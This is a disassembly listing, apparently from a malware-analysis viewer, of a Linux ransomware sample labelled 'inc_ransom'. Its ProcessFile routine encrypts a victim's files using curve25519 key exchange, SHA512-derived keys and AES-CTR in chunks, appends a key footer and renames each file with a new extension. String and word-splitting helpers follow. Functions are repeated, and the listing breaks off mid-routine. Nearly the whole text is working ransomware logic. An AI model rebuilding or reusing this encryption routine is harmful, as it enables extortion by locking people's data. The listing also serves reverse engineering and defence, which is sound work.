File inc_ransom_e16ac4475e24bbe97e50d7940df71079ea2f1dfd1f2bff6a649c09f7503d087c.elf
Function:
Loading..
0040c794
0040c794ProcessFile:
0040c794push rbp
0040c795mov rbp, rsp
0040c798sub rsp, 608
0040c79fmov [rbp-600], rdi
0040c7a6mov rax, [rip+0x2041fb]
0040c7admov [rbp-608], -1
0040c7b8mov rdx, rax
0040c7bbmov eax, 0
0040c7c0mov rcx, [rbp-608]
0040c7c7mov rdi, rdx
0040c7carepne scasb [rdi], al
0040c7ccmov rax, rcx
0040c7cfnot rax
0040c7d2sub rax, 1
0040c7d6mov [rbp-20], eax
0040c7d9mov rax, [rbp-600]
0040c7e0mov [rbp-608], -1
0040c7ebmov rdx, rax
0040c7eemov eax, 0
0040c7f3mov rcx, [rbp-608]
0040c7famov rdi, rdx
0040c7fdrepne scasb [rdi], al
0040c7ffmov rax, rcx
0040c802not rax
0040c805sub rax, 1
0040c809mov [rbp-24], eax
0040c80cmov rax, [rbp-600]
0040c813lea rdx, [rbp-240]
0040c81amov rsi, rdx
0040c81dmov rdi, rax
0040c820call __lstat
0040c825mov rax, [rbp-192]
0040c82cmov [rbp-32], rax
0040c830mov [rbp-8], 0
0040c838mov edx, 0x40f486
0040c83dmov rax, [rbp-600]
0040c844mov rsi, rdx
0040c847mov rdi, rax
0040c84acall fopen@plt
0040c84fmov [rbp-40], rax
0040c853cmp [rbp-40], 0
0040c858je 0x40cd24
0040c85emov edi, 32
0040c863call GenerateRandom
0040c868mov [rbp-48], rax
0040c86cmov edi, 32
0040c871call malloc@plt
0040c876mov [rbp-56], rax
0040c87amov edi, 64
0040c87fcall malloc@plt
0040c884mov [rbp-64], rax
0040c888mov edi, 0xf4240
0040c88dcall malloc@plt
0040c892mov [rbp-72], rax
0040c896mov edi, 16
0040c89bcall malloc@plt
0040c8a0mov [rbp-80], rax
0040c8a4mov edi, 16
0040c8a9call malloc@plt
0040c8aemov [rbp-88], rax
0040c8b2mov [rbp-272], 0
0040c8bdmov [rbp-264], 0
0040c8c8mov [rbp-256], 0
0040c8d3mov [rbp-248], 0
0040c8demov [rbp-272], 9
0040c8e5lea rax, [rbp-400]
0040c8ecmov rdx, rax
0040c8efmov eax, 0
0040c8f4mov ecx, 14
0040c8f9mov rdi, rdx
0040c8fcrep stosq [rdi], rax
0040c8ffmov rdx, rdi
0040c902mov [rdx], eax
0040c904add rdx, 4
0040c908mov [rbp-296], 0xf4240
0040c912mov eax, [rip+0x2040a0]
0040c918mov [rbp-292], eax
0040c91emov [rbp-288], 0
0040c928mov rax, [rip+0x204079]
0040c92flea rdx, [rbp-400]
0040c936add rdx, 96
0040c93amov rsi, rax
0040c93dmov rdi, rdx
0040c940call strcpy@plt
0040c945mov rax, [rbp-48]
0040c949movzx eax, [rax]
0040c94cmov edx, eax
0040c94eand edx, -8
0040c951mov rax, [rbp-48]
0040c955mov [rax], dl
0040c957mov rax, [rbp-48]
0040c95badd rax, 31
0040c95fmov rdx, [rbp-48]
0040c963add rdx, 31
0040c967movzx edx, [rdx]
0040c96aand edx, 127
0040c96dmov [rax], dl
0040c96fmov rax, [rbp-48]
0040c973lea rdx, [rax+31]
0040c977mov rax, [rbp-48]
0040c97badd rax, 31
0040c97fmovzx eax, [rax]
0040c982or eax, 64
0040c985mov [rdx], al
0040c987lea rdx, [rbp-272]
0040c98emov rcx, [rbp-48]
0040c992lea rax, [rbp-400]
0040c999mov rsi, rcx
0040c99cmov rdi, rax
0040c99fcall curve25519_donna
0040c9a4mov rdx, [rip+0x204065]
0040c9abmov rcx, [rbp-48]
0040c9afmov rax, [rbp-56]
0040c9b3mov rsi, rcx
0040c9b6mov rdi, rax
0040c9b9call curve25519_donna
0040c9bemov rdx, [rbp-64]
0040c9c2mov rax, [rbp-56]
0040c9c6mov esi, 32
0040c9cbmov rdi, rax
0040c9cecall SHA512_Simple
0040c9d3lea rax, [rbp-400]
0040c9dalea rdx, [rax+32]
0040c9delea rax, [rbp-400]
0040c9e5mov esi, 32
0040c9eamov rdi, rax
0040c9edcall SHA512_Simple
0040c9f2mov rdx, [rbp-64]
0040c9f6mov rax, [rbp-80]
0040c9famov rcx, [rdx]
0040c9fdmov [rax], rcx
0040ca00mov rdx, [rdx+8]
0040ca04mov [rax+8], rdx
0040ca08mov rax, [rbp-64]
0040ca0clea rdx, [rax+16]
0040ca10mov rax, [rbp-88]
0040ca14mov rcx, [rdx]
0040ca17mov [rax], rcx
0040ca1amov rdx, [rdx+8]
0040ca1emov [rax+8], rdx
0040ca22mov rdx, [rbp-88]
0040ca26mov rcx, [rbp-80]
0040ca2alea rax, [rbp-592]
0040ca31mov rsi, rcx
0040ca34mov rdi, rax
0040ca37call AES_init_ctx_iv
0040ca3cmov rcx, [rbp-32]
0040ca40mov rax, [rbp-40]
0040ca44mov edx, 0
0040ca49mov rsi, rcx
0040ca4cmov rdi, rax
0040ca4fcall fseeko@plt
0040ca54lea rax, [rbp-400]
0040ca5bmov rdx, [rbp-40]
0040ca5fmov rcx, rdx
0040ca62mov edx, 116
0040ca67mov esi, 1
0040ca6cmov rdi, rax
0040ca6fcall fwrite@plt
0040ca74
0040ca74loc_40ca74:
0040ca74mov rcx, [rbp-8]
0040ca78mov rax, [rbp-40]
0040ca7cmov edx, 0
0040ca81mov rsi, rcx
0040ca84mov rdi, rax
0040ca87call fseeko@plt
0040ca8cmov eax, [rbp-296]
0040ca92movsxd rdx, eax
0040ca95mov rax, [rbp-72]
0040ca99mov rcx, [rbp-40]
0040ca9dmov esi, 1
0040caa2mov rdi, rax
0040caa5call fread@plt
0040caaamov [rbp-16], rax
0040caaemov rax, [rbp-16]
0040cab2mov rdx, [rbp-8]
0040cab6add rax, rdx
0040cab9sub rax, [rbp-32]
0040cabdcmp rax, 116
0040cac1jne 0x40cacf
0040cac3mov rax, [rbp-16]
0040cac7sub rax, 116
0040cacbmov [rbp-16], rax
0040cacf
0040cacfloc_40cacf:
0040cacfmov rdx, [rbp-16]
0040cad3mov rcx, [rbp-72]
0040cad7lea rax, [rbp-592]
0040cademov rsi, rcx
0040cae1mov rdi, rax
0040cae4call AES_CTR_xcrypt_buffer
0040cae9mov rcx, [rbp-8]
0040caedmov rax, [rbp-40]
0040caf1mov edx, 0
0040caf6mov rsi, rcx
0040caf9mov rdi, rax
0040cafccall fseeko@plt
0040cb01mov rdx, [rbp-16]
0040cb05mov rax, [rbp-72]
0040cb09mov rcx, [rbp-40]
0040cb0dmov esi, 1
0040cb12mov rdi, rax
0040cb15call fwrite@plt
0040cb1amov eax, [rbp-288]
0040cb20add eax, 1
0040cb23mov [rbp-288], eax
0040cb29mov rcx, [rbp-32]
0040cb2dmov rax, [rbp-40]
0040cb31mov edx, 0
0040cb36mov rsi, rcx
0040cb39mov rdi, rax
0040cb3ccall fseeko@plt
0040cb41lea rax, [rbp-400]
0040cb48mov rdx, [rbp-40]
0040cb4cmov rcx, rdx
0040cb4fmov edx, 116
0040cb54mov esi, 1
0040cb59mov rdi, rax
0040cb5ccall fwrite@plt
0040cb61mov eax, [rbp-296]
0040cb67cdqe
0040cb69mov rdx, rax
0040cb6cadd rdx, [rbp-8]
0040cb70mov ecx, [rbp-296]
0040cb76mov eax, [rip+0x203e3c]
0040cb7cimul eax, ecx
0040cb7fcdqe
0040cb81add rax, rdx
0040cb84cmp rax, [rbp-32]
0040cb88jg 0x40cba7
0040cb8amov eax, [rip+0x203e28]
0040cb90lea edx, [rax+1]
0040cb93mov eax, [rbp-296]
0040cb99imul eax, edx
0040cb9ccdqe
0040cb9eadd [rbp-8], rax
0040cba2jmp 0x40ca74
0040cba7
0040cba7loc_40cba7:
0040cba7nop
0040cba8mov rcx, [rbp-32]
0040cbacmov rax, [rbp-40]
0040cbb0mov edx, 0
0040cbb5mov rsi, rcx
0040cbb8mov rdi, rax
0040cbbbcall fseeko@plt
0040cbc0lea rax, [rbp-400]
0040cbc7mov rdx, [rbp-40]
0040cbcbmov rcx, rdx
0040cbcemov edx, 116
0040cbd3mov esi, 1
0040cbd8mov rdi, rax
0040cbdbcall fwrite@plt
0040cbe0mov rax, [rbp-40]
0040cbe4mov rdi, rax
0040cbe7call fclose@plt
0040cbecmov rax, [rbp-600]
0040cbf3mov [rbp-608], -1
0040cbfemov rdx, rax
0040cc01mov eax, 0
0040cc06mov rcx, [rbp-608]
0040cc0dmov rdi, rdx
0040cc10repne scasb [rdi], al
0040cc12mov rax, rcx
0040cc15not rax
0040cc18lea rdx, [rax-1]
0040cc1cmov eax, [rbp-20]
0040cc1fcdqe
0040cc21add rax, rdx
0040cc24add rax, 2
0040cc28mov esi, 1
0040cc2dmov rdi, rax
0040cc30call calloc@plt
0040cc35mov [rbp-96], rax
0040cc39mov rdx, [rbp-600]
0040cc40mov rax, [rbp-96]
0040cc44mov rsi, rdx
0040cc47mov rdi, rax
0040cc4acall strcpy@plt
0040cc4fmov esi, 0x40f48a
0040cc54mov rax, [rbp-96]
0040cc58mov [rbp-608], -1
0040cc63mov rdx, rax
0040cc66mov eax, 0
0040cc6bmov rcx, [rbp-608]
0040cc72mov rdi, rdx
0040cc75repne scasb [rdi], al
0040cc77mov rax, rcx
0040cc7anot rax
0040cc7dsub rax, 1
0040cc81add rax, [rbp-96]
0040cc85movzx edx, [rsi]
0040cc88mov [rax], dx
0040cc8blea rax, [rbp-400]
0040cc92lea rdx, [rax+96]
0040cc96mov rax, [rbp-96]
0040cc9amov rsi, rdx
0040cc9dmov rdi, rax
0040cca0call strcat@plt
0040cca5mov rdx, [rbp-96]
0040cca9mov rax, [rbp-600]
0040ccb0mov rsi, rdx
0040ccb3mov rdi, rax
0040ccb6call rename@plt
0040ccbbcmp eax, -1
0040ccbejne 0x40ccce
0040ccc0mov rax, [rbp-96]
0040ccc4mov rdi, rax
0040ccc7call free@plt
0040ccccjmp 0x40cd25
0040ccce
0040ccceloc_40ccce:
0040cccemov rax, [rbp-48]
0040ccd2mov rdi, rax
0040ccd5call free@plt
0040ccdamov rax, [rbp-56]
0040ccdemov rdi, rax
0040cce1call free@plt
0040cce6mov rax, [rbp-64]
0040cceamov rdi, rax
0040ccedcall free@plt
0040ccf2mov rax, [rbp-72]
0040ccf6mov rdi, rax
0040ccf9call free@plt
0040ccfemov rax, [rbp-80]
0040cd02mov rdi, rax
0040cd05call free@plt
0040cd0amov rax, [rbp-88]
0040cd0emov rdi, rax
0040cd11call free@plt
0040cd16mov rax, [rbp-96]
0040cd1amov rdi, rax
0040cd1dcall free@plt
0040cd22jmp 0x40cd25
0040cd24
0040cd24loc_40cd24:
0040cd24nop
0040cd25
0040cd25loc_40cd25:
0040cd25leave
0040cd26ret
0040c794
0040c794ProcessFile:
0040c794push rbp
0040c795mov rbp, rsp
0040c798sub rsp, 608
0040c79fmov [rbp-600], rdi
0040c7a6mov rax, [rip+0x2041fb]
0040c7admov [rbp-608], -1
0040c7b8mov rdx, rax
0040c7bbmov eax, 0
0040c7c0mov rcx, [rbp-608]
0040c7c7mov rdi, rdx
0040c7carepne scasb [rdi], al
0040c7ccmov rax, rcx
0040c7cfnot rax
0040c7d2sub rax, 1
0040c7d6mov [rbp-20], eax
0040c7d9mov rax, [rbp-600]
0040c7e0mov [rbp-608], -1
0040c7ebmov rdx, rax
0040c7eemov eax, 0
0040c7f3mov rcx, [rbp-608]
0040c7famov rdi, rdx
0040c7fdrepne scasb [rdi], al
0040c7ffmov rax, rcx
0040c802not rax
0040c805sub rax, 1
0040c809mov [rbp-24], eax
0040c80cmov rax, [rbp-600]
0040c813lea rdx, [rbp-240]
0040c81amov rsi, rdx
0040c81dmov rdi, rax
0040c820call __lstat
0040c825mov rax, [rbp-192]
0040c82cmov [rbp-32], rax
0040c830mov [rbp-8], 0
0040c838mov edx, 0x40f486
0040c83dmov rax, [rbp-600]
0040c844mov rsi, rdx
0040c847mov rdi, rax
0040c84acall fopen@plt
0040c84fmov [rbp-40], rax
0040c853cmp [rbp-40], 0
0040c858je 0x40cd24
0040c85emov edi, 32
0040c863call GenerateRandom
0040c868mov [rbp-48], rax
0040c86cmov edi, 32
0040c871call malloc@plt
0040c876mov [rbp-56], rax
0040c87amov edi, 64
0040c87fcall malloc@plt
0040c884mov [rbp-64], rax
0040c888mov edi, 0xf4240
0040c88dcall malloc@plt
0040c892mov [rbp-72], rax
0040c896mov edi, 16
0040c89bcall malloc@plt
0040c8a0mov [rbp-80], rax
0040c8a4mov edi, 16
0040c8a9call malloc@plt
0040c8aemov [rbp-88], rax
0040c8b2mov [rbp-272], 0
0040c8bdmov [rbp-264], 0
0040c8c8mov [rbp-256], 0
0040c8d3mov [rbp-248], 0
0040c8demov [rbp-272], 9
0040c8e5lea rax, [rbp-400]
0040c8ecmov rdx, rax
0040c8efmov eax, 0
0040c8f4mov ecx, 14
0040c8f9mov rdi, rdx
0040c8fcrep stosq [rdi], rax
0040c8ffmov rdx, rdi
0040c902mov [rdx], eax
0040c904add rdx, 4
0040c908mov [rbp-296], 0xf4240
0040c912mov eax, [rip+0x2040a0]
0040c918mov [rbp-292], eax
0040c91emov [rbp-288], 0
0040c928mov rax, [rip+0x204079]
0040c92flea rdx, [rbp-400]
0040c936add rdx, 96
0040c93amov rsi, rax
0040c93dmov rdi, rdx
0040c940call strcpy@plt
0040c945mov rax, [rbp-48]
0040c949movzx eax, [rax]
0040c94cmov edx, eax
0040c94eand edx, -8
0040c951mov rax, [rbp-48]
0040c955mov [rax], dl
0040c957mov rax, [rbp-48]
0040c95badd rax, 31
0040c95fmov rdx, [rbp-48]
0040c963add rdx, 31
0040c967movzx edx, [rdx]
0040c96aand edx, 127
0040c96dmov [rax], dl
0040c96fmov rax, [rbp-48]
0040c973lea rdx, [rax+31]
0040c977mov rax, [rbp-48]
0040c97badd rax, 31
0040c97fmovzx eax, [rax]
0040c982or eax, 64
0040c985mov [rdx], al
0040c987lea rdx, [rbp-272]
0040c98emov rcx, [rbp-48]
0040c992lea rax, [rbp-400]
0040c999mov rsi, rcx
0040c99cmov rdi, rax
0040c99fcall curve25519_donna
0040c9a4mov rdx, [rip+0x204065]
0040c9abmov rcx, [rbp-48]
0040c9afmov rax, [rbp-56]
0040c9b3mov rsi, rcx
0040c9b6mov rdi, rax
0040c9b9call curve25519_donna
0040c9bemov rdx, [rbp-64]
0040c9c2mov rax, [rbp-56]
0040c9c6mov esi, 32
0040c9cbmov rdi, rax
0040c9cecall SHA512_Simple
0040c9d3lea rax, [rbp-400]
0040c9dalea rdx, [rax+32]
0040c9delea rax, [rbp-400]
0040c9e5mov esi, 32
0040c9eamov rdi, rax
0040c9edcall SHA512_Simple
0040c9f2mov rdx, [rbp-64]
0040c9f6mov rax, [rbp-80]
0040c9famov rcx, [rdx]
0040c9fdmov [rax], rcx
0040ca00mov rdx, [rdx+8]
0040ca04mov [rax+8], rdx
0040ca08mov rax, [rbp-64]
0040ca0clea rdx, [rax+16]
0040ca10mov rax, [rbp-88]
0040ca14mov rcx, [rdx]
0040ca17mov [rax], rcx
0040ca1amov rdx, [rdx+8]
0040ca1emov [rax+8], rdx
0040ca22mov rdx, [rbp-88]
0040ca26mov rcx, [rbp-80]
0040ca2alea rax, [rbp-592]
0040ca31mov rsi, rcx
0040ca34mov rdi, rax
0040ca37call AES_init_ctx_iv
0040ca3cmov rcx, [rbp-32]
0040ca40mov rax, [rbp-40]
0040ca44mov edx, 0
0040ca49mov rsi, rcx
0040ca4cmov rdi, rax
0040ca4fcall fseeko@plt
0040ca54lea rax, [rbp-400]
0040ca5bmov rdx, [rbp-40]
0040ca5fmov rcx, rdx
0040ca62mov edx, 116
0040ca67mov esi, 1
0040ca6cmov rdi, rax
0040ca6fcall fwrite@plt
0040ca74
0040ca74loc_40ca74:
0040ca74mov rcx, [rbp-8]
0040ca78mov rax, [rbp-40]
0040ca7cmov edx, 0
0040ca81mov rsi, rcx
0040ca84mov rdi, rax
0040ca87call fseeko@plt
0040ca8cmov eax, [rbp-296]
0040ca92movsxd rdx, eax
0040ca95mov rax, [rbp-72]
0040ca99mov rcx, [rbp-40]
0040ca9dmov esi, 1
0040caa2mov rdi, rax
0040caa5call fread@plt
0040caaamov [rbp-16], rax
0040caaemov rax, [rbp-16]
0040cab2mov rdx, [rbp-8]
0040cab6add rax, rdx
0040cab9sub rax, [rbp-32]
0040cabdcmp rax, 116
0040cac1jne 0x40cacf
0040cac3mov rax, [rbp-16]
0040cac7sub rax, 116
0040cacbmov [rbp-16], rax
0040cacf
0040cacfloc_40cacf:
0040cacfmov rdx, [rbp-16]
0040cad3mov rcx, [rbp-72]
0040cad7lea rax, [rbp-592]
0040cademov rsi, rcx
0040cae1mov rdi, rax
0040cae4call AES_CTR_xcrypt_buffer
0040cae9mov rcx, [rbp-8]
0040caedmov rax, [rbp-40]
0040caf1mov edx, 0
0040caf6mov rsi, rcx
0040caf9mov rdi, rax
0040cafccall fseeko@plt
0040cb01mov rdx, [rbp-16]
0040cb05mov rax, [rbp-72]
0040cb09mov rcx, [rbp-40]
0040cb0dmov esi, 1
0040cb12mov rdi, rax
0040cb15call fwrite@plt
0040cb1amov eax, [rbp-288]
0040cb20add eax, 1
0040cb23mov [rbp-288], eax
0040cb29mov rcx, [rbp-32]
0040cb2dmov rax, [rbp-40]
0040cb31mov edx, 0
0040cb36mov rsi, rcx
0040cb39mov rdi, rax
0040cb3ccall fseeko@plt
0040cb41lea rax, [rbp-400]
0040cb48mov rdx, [rbp-40]
0040cb4cmov rcx, rdx
0040cb4fmov edx, 116
0040cb54mov esi, 1
0040cb59mov rdi, rax
0040cb5ccall fwrite@plt
0040cb61mov eax, [rbp-296]
0040cb67cdqe
0040cb69mov rdx, rax
0040cb6cadd rdx, [rbp-8]
0040cb70mov ecx, [rbp-296]
0040cb76mov eax, [rip+0x203e3c]
0040cb7cimul eax, ecx
0040cb7fcdqe
0040cb81add rax, rdx
0040cb84cmp rax, [rbp-32]
0040cb88jg 0x40cba7
0040cb8amov eax, [rip+0x203e28]
0040cb90lea edx, [rax+1]
0040cb93mov eax, [rbp-296]
0040cb99imul eax, edx
0040cb9ccdqe
0040cb9eadd [rbp-8], rax
0040cba2jmp 0x40ca74
0040cba7
0040cba7loc_40cba7:
0040cba7nop
0040cba8mov rcx, [rbp-32]
0040cbacmov rax, [rbp-40]
0040cbb0mov edx, 0
0040cbb5mov rsi, rcx
0040cbb8mov rdi, rax
0040cbbbcall fseeko@plt
0040cbc0lea rax, [rbp-400]
0040cbc7mov rdx, [rbp-40]
0040cbcbmov rcx, rdx
0040cbcemov edx, 116
0040cbd3mov esi, 1
0040cbd8mov rdi, rax
0040cbdbcall fwrite@plt
0040cbe0mov rax, [rbp-40]
0040cbe4mov rdi, rax
0040cbe7call fclose@plt
0040cbecmov rax, [rbp-600]
0040cbf3mov [rbp-608], -1
0040cbfemov rdx, rax
0040cc01mov eax, 0
0040cc06mov rcx, [rbp-608]
0040cc0dmov rdi, rdx
0040cc10repne scasb [rdi], al
0040cc12mov rax, rcx
0040cc15not rax
0040cc18lea rdx, [rax-1]
0040cc1cmov eax, [rbp-20]
0040cc1fcdqe
0040cc21add rax, rdx
0040cc24add rax, 2
0040cc28mov esi, 1
0040cc2dmov rdi, rax
0040cc30call calloc@plt
0040cc35mov [rbp-96], rax
0040cc39mov rdx, [rbp-600]
0040cc40mov rax, [rbp-96]
0040cc44mov rsi, rdx
0040cc47mov rdi, rax
0040cc4acall strcpy@plt
0040cc4fmov esi, 0x40f48a
0040cc54mov rax, [rbp-96]
0040cc58mov [rbp-608], -1
0040cc63mov rdx, rax
0040cc66mov eax, 0
0040cc6bmov rcx, [rbp-608]
0040cc72mov rdi, rdx
0040cc75repne scasb [rdi], al
0040cc77mov rax, rcx
0040cc7anot rax
0040cc7dsub rax, 1
0040cc81add rax, [rbp-96]
0040cc85movzx edx, [rsi]
0040cc88mov [rax], dx
0040cc8blea rax, [rbp-400]
0040cc92lea rdx, [rax+96]
0040cc96mov rax, [rbp-96]
0040cc9amov rsi, rdx
0040cc9dmov rdi, rax
0040cca0call strcat@plt
0040cca5mov rdx, [rbp-96]
0040cca9mov rax, [rbp-600]
0040ccb0mov rsi, rdx
0040ccb3mov rdi, rax
0040ccb6call rename@plt
0040ccbbcmp eax, -1
0040ccbejne 0x40ccce
0040ccc0mov rax, [rbp-96]
0040ccc4mov rdi, rax
0040ccc7call free@plt
0040ccccjmp 0x40cd25
0040ccce
0040ccceloc_40ccce:
0040cccemov rax, [rbp-48]
0040ccd2mov rdi, rax
0040ccd5call free@plt
0040ccdamov rax, [rbp-56]
0040ccdemov rdi, rax
0040cce1call free@plt
0040cce6mov rax, [rbp-64]
0040cceamov rdi, rax
0040ccedcall free@plt
0040ccf2mov rax, [rbp-72]
0040ccf6mov rdi, rax
0040ccf9call free@plt
0040ccfemov rax, [rbp-80]
0040cd02mov rdi, rax
0040cd05call free@plt
0040cd0amov rax, [rbp-88]
0040cd0emov rdi, rax
0040cd11call free@plt
0040cd16mov rax, [rbp-96]
0040cd1amov rdi, rax
0040cd1dcall free@plt
0040cd22jmp 0x40cd25
0040cd24
0040cd24loc_40cd24:
0040cd24nop
0040cd25
0040cd25loc_40cd25:
0040cd25leave
0040cd26ret
0040c794
0040cd27
0040cd27 90 .
0040cd27 90 .
0040cd28
0040cd28SafeStrCpyA:
0040cd28push rbp
0040cd29mov rbp, rsp
0040cd2cmov [rbp-24], rdi
0040cd30mov [rbp-32], rsi
0040cd34mov [rbp-36], edx
0040cd37cmp [rbp-36], 0
0040cd3bje 0x40cd98
0040cd3dmov rax, [rbp-24]
0040cd41mov [rbp-8], rax
0040cd45mov rax, [rbp-32]
0040cd49mov [rbp-16], rax
0040cd4d
0040cd4dloc_40cd4d:
0040cd4dmov rax, [rbp-16]
0040cd51movzx edx, [rax]
0040cd54mov rax, [rbp-8]
0040cd58mov [rax], dl
0040cd5amov rax, [rbp-8]
0040cd5emovzx eax, [rax]
0040cd61test al, al
0040cd63sete al
0040cd66add [rbp-8], 1
0040cd6badd [rbp-16], 1
0040cd70test al, al
0040cd72je 0x40cd8e
0040cd74jmp 0x40cd82
0040cd76
0040cd76loc_40cd76:
0040cd76mov rax, [rbp-8]
0040cd7amov [rax], 0
0040cd7dadd [rbp-8], 1
0040cd82
0040cd82loc_40cd82:
0040cd82sub [rbp-36], 1
0040cd86cmp [rbp-36], 0
0040cd8ajne 0x40cd76
0040cd8cjmp 0x40cd98
0040cd8e
0040cd8eloc_40cd8e:
0040cd8esub [rbp-36], 1
0040cd92cmp [rbp-36], 0
0040cd96jne 0x40cd4d
0040cd98
0040cd98loc_40cd98:
0040cd98mov rax, [rbp-24]
0040cd9cpop rbp
0040cd9dret
0040cd28
0040cd28SafeStrCpyA:
0040cd28push rbp
0040cd29mov rbp, rsp
0040cd2cmov [rbp-24], rdi
0040cd30mov [rbp-32], rsi
0040cd34mov [rbp-36], edx
0040cd37cmp [rbp-36], 0
0040cd3bje 0x40cd98
0040cd3dmov rax, [rbp-24]
0040cd41mov [rbp-8], rax
0040cd45mov rax, [rbp-32]
0040cd49mov [rbp-16], rax
0040cd4d
0040cd4dloc_40cd4d:
0040cd4dmov rax, [rbp-16]
0040cd51movzx edx, [rax]
0040cd54mov rax, [rbp-8]
0040cd58mov [rax], dl
0040cd5amov rax, [rbp-8]
0040cd5emovzx eax, [rax]
0040cd61test al, al
0040cd63sete al
0040cd66add [rbp-8], 1
0040cd6badd [rbp-16], 1
0040cd70test al, al
0040cd72je 0x40cd8e
0040cd74jmp 0x40cd82
0040cd76
0040cd76loc_40cd76:
0040cd76mov rax, [rbp-8]
0040cd7amov [rax], 0
0040cd7dadd [rbp-8], 1
0040cd82
0040cd82loc_40cd82:
0040cd82sub [rbp-36], 1
0040cd86cmp [rbp-36], 0
0040cd8ajne 0x40cd76
0040cd8cjmp 0x40cd98
0040cd8e
0040cd8eloc_40cd8e:
0040cd8esub [rbp-36], 1
0040cd92cmp [rbp-36], 0
0040cd96jne 0x40cd4d
0040cd98
0040cd98loc_40cd98:
0040cd98mov rax, [rbp-24]
0040cd9cpop rbp
0040cd9dret
0040cd28
0040cd9e
0040cd9eCountWords:
0040cd9epush rbp
0040cd9fmov rbp, rsp
0040cda2mov [rbp-24], rdi
0040cda6mov eax, esi
0040cda8mov [rbp-28], al
0040cdabmov [rbp-4], 0
0040cdb2mov rax, [rbp-24]
0040cdb6mov [rbp-16], rax
0040cdbajmp 0x40cdd1
0040cdbc
0040cdbcloc_40cdbc:
0040cdbcmov rax, [rbp-16]
0040cdc0movzx eax, [rax]
0040cdc3cmp al, [rbp-28]
0040cdc6jne 0x40cdcc
0040cdc8add [rbp-4], 1
0040cdcc
0040cdccloc_40cdcc:
0040cdccadd [rbp-16], 1
0040cdd1
0040cdd1loc_40cdd1:
0040cdd1mov rax, [rbp-16]
0040cdd5movzx eax, [rax]
0040cdd8test al, al
0040cddajne 0x40cdbc
0040cddcmov eax, [rbp-4]
0040cddfadd eax, 1
0040cde2pop rbp
0040cde3ret
0040cd9e
0040cd9eCountWords:
0040cd9epush rbp
0040cd9fmov rbp, rsp
0040cda2mov [rbp-24], rdi
0040cda6mov eax, esi
0040cda8mov [rbp-28], al
0040cdabmov [rbp-4], 0
0040cdb2mov rax, [rbp-24]
0040cdb6mov [rbp-16], rax
0040cdbajmp 0x40cdd1
0040cdbc
0040cdbcloc_40cdbc:
0040cdbcmov rax, [rbp-16]
0040cdc0movzx eax, [rax]
0040cdc3cmp al, [rbp-28]
0040cdc6jne 0x40cdcc
0040cdc8add [rbp-4], 1
0040cdcc
0040cdccloc_40cdcc:
0040cdccadd [rbp-16], 1
0040cdd1
0040cdd1loc_40cdd1:
0040cdd1mov rax, [rbp-16]
0040cdd5movzx eax, [rax]
0040cdd8test al, al
0040cddajne 0x40cdbc
0040cddcmov eax, [rbp-4]
0040cddfadd eax, 1
0040cde2pop rbp
0040cde3ret
0040cd9e
0040cde4
0040cde4SplitString:
0040cde4push rbp
0040cde5mov rbp, rsp
0040cde8push rbx
0040cde9sub rsp, 72
0040cdedmov [rbp-56], rdi
0040cdf1mov eax, esi
0040cdf3mov [rbp-72], rdx
0040cdf7mov [rbp-60], al
0040cdfamovzx eax, [rbp-60]
0040cdfemovsx edx, al
0040ce01mov rax, [rbp-56]
0040ce05mov esi, edx
0040ce07mov rdi, rax
0040ce0acall CountWords
0040ce0fmov rdx, [rbp-72]
0040ce13mov [rdx], eax
0040ce15mov rax, [rbp-72]
0040ce19mov eax, [rax]
0040ce1bmov eax, eax
0040ce1dshl rax, 3
0040ce21mov rdi, rax
0040ce24call malloc@plt
0040ce29mov [rbp-48], rax
0040ce2dcmp [rbp-48], 0
0040ce32jne 0x40ce3e
0040ce34mov eax, 0
0040ce39jmp 0x40cf45
0040ce3e
0040ce3eloc_40ce3e:
0040ce3emov [rbp-24], 0
0040ce46lea rdx, [rbp-60]
0040ce4amov rax, [rbp-56]
0040ce4emov rsi, rdx
0040ce51mov rdi, rax
0040ce54call strtok@plt
0040ce59mov [rbp-32], rax
0040ce5djmp 0x40cf36
0040ce62
0040ce62loc_40ce62:
0040ce62mov rax, [rbp-24]
0040ce66shl rax, 3
0040ce6amov rbx, rax
0040ce6dadd rbx, [rbp-48]
0040ce71mov rax, [rbp-32]
0040ce75mov [rbp-80], -1
0040ce7dmov rdx, rax
0040ce80mov eax, 0
0040ce85mov rcx, [rbp-80]
0040ce89mov rdi, rdx
0040ce8crepne scasb [rdi], al
0040ce8emov rax, rcx
0040ce91not rax
0040ce94sub rax, 1
0040ce98add rax, 1
0040ce9cmov rdi, rax
0040ce9fcall malloc@plt
0040cea4mov [rbx], rax
0040cea7mov rax, [rbp-24]
0040ceabshl rax, 3
0040ceafadd rax, [rbp-48]
0040ceb3mov rax, [rax]
0040ceb6test rax, rax
0040ceb9jne 0x40cefe
0040cebbmov [rbp-40], 0
0040cec3jmp 0x40cee1
0040cec5
0040cec5loc_40cec5:
0040cec5mov rax, [rbp-40]
0040cec9shl rax, 3
0040cecdadd rax, [rbp-48]
0040ced1mov rax, [rax]
0040ced4mov rdi, rax
0040ced7call free@plt
0040cedcadd [rbp-40], 1
0040cee1
0040cee1loc_40cee1:
0040cee1mov rax, [rbp-40]
0040cee5cmp rax, [rbp-24]
0040cee9jb 0x40cec5
0040ceebmov rax, [rbp-48]
0040ceefmov rdi, rax
0040cef2call free@plt
0040cef7mov eax, 0
0040cefcjmp 0x40cf45
0040cefe
0040cefeloc_40cefe:
0040cefemov rdx, [rbp-32]
0040cf02mov rax, [rbp-24]
0040cf06shl rax, 3
0040cf0aadd rax, [rbp-48]
0040cf0emov rax, [rax]
0040cf11mov rsi, rdx
0040cf14mov rdi, rax
0040cf17call strcpy@plt
0040cf1cadd [rbp-24], 1
0040cf21lea rax, [rbp-60]
0040cf25mov rsi, rax
0040cf28mov edi, 0
0040cf2dcall strtok@plt
0040cf32mov [rbp-32], rax
0040cf36
0040cf36loc_40cf36:
0040cf36cmp [rbp-32], 0
0040cf3bjne 0x40ce62
0040cf41mov rax, [rbp-48]
0040cf45
0040cf45loc_40cf45:
0040cf45add rsp, 72
0040cf49pop rbx
0040cf4apop rbp
0040cf4bret
0040cde4
0040cde4SplitString:
0040cde4push rbp
0040cde5mov rbp, rsp
0040cde8push rbx
0040cde9sub rsp, 72
0040cdedmov [rbp-56], rdi
0040cdf1mov eax, esi
0040cdf3mov [rbp-72], rdx
0040cdf7mov [rbp-60], al
0040cdfamovzx eax, [rbp-60]
0040cdfemovsx edx, al
0040ce01mov rax, [rbp-56]
0040ce05mov esi, edx
0040ce07mov rdi, rax
0040ce0acall CountWords
0040ce0fmov rdx, [rbp-72]
0040ce13mov [rdx], eax
0040ce15mov rax, [rbp-72]
0040ce19mov eax, [rax]
